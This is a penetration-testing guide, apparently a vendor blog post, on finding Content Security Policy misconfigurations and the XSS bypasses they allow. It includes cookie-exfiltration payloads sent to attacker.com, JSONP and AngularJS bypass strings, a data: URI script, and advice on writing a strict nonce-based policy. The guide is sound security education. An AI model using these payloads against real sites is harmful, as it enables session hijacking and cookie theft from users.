Content Security Policy (CSP) Bypass Testing: Misconfigurations That Defeat Your XSS Defense

Content Security Policy is the browser's primary mechanism for limiting what JavaScript can execute on a page. A well-implemented CSP makes XSS significantly harder to exploit — even when an injection point exists, the policy can prevent script execution, block data exfiltration to attacker-controlled servers, and deny inline script evaluation. A poorly implemented CSP does none of these things while creating the dangerous impression that the application is protected.

This guide covers CSP bypass techniques that pentester use to evaluate whether a policy actually prevents XSS exploitation, the most common misconfigurations that create exploitable gaps, and what a meaningful CSP looks like.

How CSP Works

CSP is delivered via the Content-Security-Policy HTTP response header (or a <meta> tag, though the header is preferred). The policy defines which sources are trusted for each content type. The browser enforces these rules and blocks content that doesn't comply.

# Example strict CSP
Content-Security-Policy:
  default-src 'none';
  script-src 'self' 'nonce-rAnd0m123';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self' https://api.example.com;
  font-src 'self';
  frame-ancestors 'none';

The key directives for XSS prevention are script-src (which sources can execute JavaScript) and the absence of unsafe-inline and unsafe-eval. Without these restrictions, injected inline scripts will execute regardless of the policy.

Inspecting the Policy

First, retrieve and parse the actual CSP from the application's response headers:

# Get CSP header
curl -s -I https://target.com/ | grep -i "content-security-policy"

# Get CSP from authenticated session
curl -s -I https://target.com/dashboard \
  -H "Cookie: session=YOUR_SESSION" | grep -i "content-security-policy"

# Parse CSP into readable form
curl -s -I https://target.com/ | grep -i "content-security-policy" | \
  sed 's/; /\n  /g'

Use the Google CSP Evaluator (csp-evaluator.withgoogle.com) to get an automated analysis of bypass vectors in the policy. It classifies each directive and flags known bypass conditions. This is a useful starting point before manual analysis.

Common Bypass Conditions

1. unsafe-inline in script-src

This is the most common CSP misconfiguration. If script-src includes 'unsafe-inline', any inline script will execute — including injected scripts. The policy provides no XSS protection whatsoever for injection points that allow <script> tags or event handlers.

# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-inline'

# Bypass: inline script executes normally
<script>document.location='https://attacker.com/?c='+document.cookie</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">

Why developers add unsafe-inline: Legacy applications with inline event handlers and inline scripts can't easily be refactored to use external script files. Rather than fix the application architecture, teams add 'unsafe-inline' to the policy to stop browser console warnings. This defeats the policy entirely.

2. unsafe-eval in script-src

'unsafe-eval' permits JavaScript's eval(), Function(), setTimeout(string), and setInterval(string) — all functions that evaluate strings as code. If you can inject into a string that reaches one of these functions, the CSP won't stop execution.

# Vulnerable policy
Content-Security-Policy: script-src 'self' 'unsafe-eval'

# Bypass via eval-equivalent
# If you can inject into template: var template = "INJECTION HERE"
# Angular < 1.6 in some configurations also re-enables eval via $eval

3. Wildcard and Broad Domain Allowlisting

Allowlisting *.google.com, *.cloudflare.com, *.amazonaws.com, or similar broad CDN domains often allows loading scripts from attacker-controlled content within those services. Google's JSONP endpoints, Angular bundles hosted on Google CDN, and user-controllable storage buckets on S3 or GCS can all serve as bypass vectors.

# Vulnerable policy
Content-Security-Policy: script-src 'self' *.googleapis.com *.gstatic.com

# Bypass using Google's script serving
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

# If *.googleapis.com is allowed and JSONP endpoint exists:
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)"></script>

4. JSONP Endpoints on Allowlisted Domains

JSONP (JSON with Padding) was a pre-CORS workaround that wraps JSON in a callback function. Any JSONP endpoint on an allowlisted domain lets an attacker execute arbitrary JavaScript by controlling the callback parameter. Search for ?callback= or ?jsonp= on any allowlisted domain.

# Finding JSONP bypass vectors
# Check if any allowlisted domain serves JSONP
curl "https://allowlisted-domain.com/api/data?callback=test" 2>/dev/null | head -3
# If response starts with: test({...}) — JSONP bypass possible

# Use CSP bypass database: https://github.com/PortSwigger/csp-bypass-list
# Filter by allowlisted domains in your target's policy

5. Angular and Framework-Based Bypasses

If the application uses AngularJS (v1) and the CSP allows the domain hosting Angular, you can often bypass the policy using Angular's template injection. AngularJS evaluates template expressions in the browser using its own evaluation engine, which can be abused even without 'unsafe-eval'.

# AngularJS CSP bypass (ng-app context required)
<div ng-app>
  {{constructor.constructor('alert(document.domain)')()}}
</div>

# Angular 1.x template injection
{{$on.constructor('alert(1)')()}}

# With ng-csp (Angular's own CSP compatibility mode — still bypassable)
<input autofocus ng-focus="$event.composedPath()|orderBy:'[].constructor.from([1],alert)':">

6. Trusted Types Bypass via Sinks

Without require-trusted-types-for 'script', DOM XSS sinks (innerHTML, document.write, eval) are not protected even when script-src is strict. If a CSP only restricts script-src but doesn't use Trusted Types, DOM XSS via direct DOM manipulation is still possible.

7. Missing frame-ancestors Directive

A CSP without frame-ancestors doesn't prevent clickjacking. The X-Frame-Options header partially addresses this, but frame-ancestors 'none' in CSP is the modern mechanism. Missing this directive means your CSP does nothing to prevent UI redress attacks.

8. data: URI in script-src

Allowing data: URIs in script-src enables inline script execution through data URIs, completely bypassing the policy's intent.

# Vulnerable policy
Content-Security-Policy: script-src 'self' data:

# Bypass via data URI
<script src="data:text/javascript,alert(document.domain)"></script>

9. Nonce Reuse and Predictable Nonces

CSP nonces should be cryptographically random and unique per response. If a nonce is static (hardcoded), or predictable, an attacker who knows the nonce value can include it in injected scripts to bypass the policy. If a nonce is reused across requests — which can happen in caching or CDN configurations — it loses its entropy protection.

# Check if nonce is static across requests
for i in {1..5}; do
  curl -s -I https://target.com/ | grep -o "nonce-[^'\"]*"
done
# If the nonce is the same in each response — it's static, bypassable

CSP Testing Methodology

Step 1: Collect and parse the policy

Gather CSP headers from all application pages — the main page may have a strict policy while the admin interface or error pages have a weaker one. API responses and redirect targets may have no CSP at all.

# Collect CSP from multiple endpoints using httpx
cat urls.txt | httpx -silent -response-headers | grep -i "content-security-policy"

# Use nuclei for CSP analysis
nuclei -u https://target.com \
  -t misconfiguration/content-security-policy.yaml \
  -t misconfiguration/csp-frame-ancestors.yaml

Step 2: Identify bypass vectors in the policy

For each allowlisted domain in script-src:

  • Search for JSONP endpoints on that domain
  • Check if the domain hosts Angular or other framework bundles
  • Look for open redirects that could redirect to attacker content
  • Check if the domain is a CDN where users can upload content

Step 3: Test actual XSS injection with CSP in place

If you have an XSS injection point, validate whether the CSP actually blocks exploitation:

# Test if inline script is blocked
# Inject: <script>document.title='CSP_BYPASS'</script>
# Check browser console — should see CSP violation error

# Test event handler
# Inject: <img src=x onerror=document.title='CSP_BYPASS'>
# If document title changes — CSP is bypassed

# Test external script loading
# Inject: <script src="https://attacker.com/test.js"></script>
# Check if attacker.com receives the request

Step 4: Validate report-uri / report-to

Applications often use report-uri to collect CSP violation reports. Analyze whether the report endpoint is accessible and whether it exposes sensitive information. CSP violation reports contain the blocked URI, document URI, referrer, and the original policy — potentially useful for reconnaissance.

What Good CSP Looks Like

Directive Secure Value What It Prevents
default-src 'none' Blocks everything not explicitly allowed
script-src 'nonce-{random}' or 'strict-dynamic' Allows only explicitly nonced scripts; blocks inline and injected scripts
object-src 'none' Blocks Flash, Java applets, and plugin-based attacks
base-uri 'self' or 'none' Prevents base tag injection that redirects relative URLs
frame-ancestors 'none' or 'self' Prevents clickjacking / UI redress attacks
upgrade-insecure-requests present Forces HTTP resources to HTTPS; prevents mixed content

Nonce-based policy example

# Server generates a fresh random nonce per response
import secrets
nonce = secrets.token_urlsafe(16)  # e.g. "rAnd0mXYZ..."

# Header set in response
Content-Security-Policy:
  default-src 'none';
  script-src 'nonce-rAnd0mXYZ...' 'strict-dynamic';
  style-src 'self' 'nonce-rAnd0mXYZ...';
  img-src 'self' data: https:;
  connect-src 'self' https://api.yourapp.com;
  font-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests

# In HTML: only scripts with matching nonce execute
<script nonce="rAnd0mXYZ...">
  // Your legitimate application code
</script>

'strict-dynamic' combined with nonces allows dynamically inserted scripts from trusted scripts to execute, which resolves the practical challenge of third-party script loading without maintaining a static allowlist. Scripts loaded by a nonced script inherit trust; scripts injected by an attacker don't have a nonce and are blocked.

Reporting and Severity

CSP bypass findings are severity-dependent on what they enable:

  • No CSP at all — Informational to Low (amplifies XSS impact, but not a standalone vulnerability)
  • CSP with unsafe-inline — Medium (policy provides no XSS protection)
  • CSP bypass via JSONP or Angular on allowlisted domain — Medium to High (actively exploitable XSS bypass)
  • CSP bypass combined with confirmed XSS — Severity of the XSS finding, often High or Critical

Key insight for pentesters: Don't just report "CSP is weak." Report the specific bypass vector and chain it with any XSS finding you've confirmed. A working CSP bypass that enables cookie theft or session hijacking from an otherwise-CSP-protected application is a meaningful finding that directly demonstrates risk.

Ironimo checks for missing or misconfigured security headers including CSP on every scan — identifying unsafe-inline, missing frame-ancestors, wildcard sources, and other bypass conditions automatically. The same checks your pentester would run, without waiting for the engagement window.

Join the waitlist for early access.

Start free scan
← Back to blog